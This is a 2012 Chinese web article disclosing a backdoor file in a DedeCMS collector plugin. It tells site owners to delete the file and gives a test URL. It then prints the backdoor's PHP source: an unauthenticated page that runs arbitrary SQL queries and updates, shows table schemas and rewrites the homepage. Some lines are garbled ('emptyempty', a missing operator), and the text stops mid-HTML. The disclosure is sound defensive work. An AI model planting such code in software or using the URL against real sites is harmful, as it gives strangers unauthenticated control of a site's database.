日期:2012-03-31  浏览次数:20526 次

去除官方后门方法:安装好采集大师后,请立即删除 include目录下的dedesql.query.php文件,如已经安装过,有可能文件已被改名为arc.sqlquery.class.php,找到并删除即可。此文件可被利用来在无需登录验证的情况下查询网站数据库,并进行更新、删除、查询数据等操作。大家也可以自己测试一下是否如我所说,方法:
http://你的域名.com/include/dedesql.query.php.php?dopost=viewinfo
输入以上网址,即可打开后门界面。
说实话,会故意留后门的程序,最好的方法就是别用。这个后门被发现了,天知道下一个所谓的新版本还会不会冒出更多的后门来。此后门文件代码如下:
复制代码 代码如下:

<?php
require_once(dirname(__FILE__)."/../include/common.inc.php");
if(emptyempty($dopost))
{
$dopost = "";
}
if($dopost=="rename")
{
if(rename("dedesql.query.php","arc.sqlquery.class.php")){
echo "成功!";
}else{
echo "失败!";
}
exit();
}
if($dopost=="viewinfo")
{
if(emptyempty($tablename))
{
echo "没有指定表名!";
}
else
{
$dsql->SetQuery("SHOW CREATE TABLE ".$dsql->dbName.".".$tablename);
$dsql->Execute("me");
$row2 = $dsql->GetArray("me",MYSQL_BOTH);
$ctinfo = $row2[1];
echo "<xmp>".trim($ctinfo)."</xmp>";
}
exit();
}
if($dopost=="index")
{
require_once(DEDEINC."/arc.partview.class.php");
$envs = $_sys_globals = array();
$envs["aid"] = 0;
$pv = new PartView();
$row = $pv->dsql->GetOne("Select * From `#@__homepageset`");
$templet = str_replace("{style}",$cfg_df_style,$row["templet"]);
$homeFile = dirname(__FILE__)."/".$row["position"];
$homeFile = str_replace("//","/",str_replace("\\","/",$homeFile));
$fp = fopen($homeFile,"w") or die("无法更新网站主页到:$homeFile 位置");
fclose($fp);
$tpl = $cfg_basedir.$cfg_templets_dir."/".$templet;
$pv->SetTemplet($tpl);
$pv->SaveToHtml($homeFile);
$pv->Close();
echo "成功更新首页!";
exit();
}
else if($dopost=="query")
{
$sqlquery = trim(stripslashes($sqlquery));
if(eregi("drop(.*)table",$sqlquery) eregi("drop(.*)database",$sqlquery))
{
echo "<span style="font-size:10pt">删除"数据表"或"数据库"的语句不允许在这里执行。</span>";
exit();
}
if(eregi("^select ",$sqlquery))
{
$dsql->SetQuery($sqlquery);
$dsql->Execute();
if($dsql->GetTotalRow()<=0)
{
echo "运行SQL:{$sqlquery},无返回记录!";
}
else
{
echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!";
}
$j = 0;
while($row = $dsql->GetArray())
{
$j++;
if($j>100)
{
break;
}
echo "<hr size=1 width="100%"/>";
echo "记录:$j";
echo "<hr size=1 width="100%"/>";
foreach($row as $k=>$v)
{
echo "<font color="red">{$k}:</font>{$v}<br/>\r\n";
}
}
exit();
}
if($querytype==2)
{
$sqlquery = str_replace("\r","",$sqlquery);
$sqls = split(";[ \t]{0,}\n",$sqlquery);
$nerrCode = "";$i=0;
foreach($sqls as $q)
{
$q = trim($q);
if($q=="")
{
continue;
}
$dsql->ExecuteNoneQuery($q);
$errCode = trim($dsql->GetError());
if($errCode=="")
{
$i++;
}
else
{
$nerrCode .= "执行: <font color="blue">$q</font> 出错,错误提示:<font color="red">".$errCode."</font><br>";
}
}
echo "成功执行{$i}个SQL语句!<br><br>";
echo $nerrCode;
}
else
{
$dsql->ExecuteNoneQuery($sqlquery);
$nerrCode = trim($dsql->GetError());
echo "成功执行1个SQL语句!<br><br>";
echo $nerrCode;
}
exit();
}
if($dopost=="view")
{
;echo "<html>
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\">
<title>SQL命令行工具</title>
<link href=\"img/base.css\" rel=\"stylesheet\" type=\"text/css\">
</head>
<body background=\"img/allbg.gif\" leftm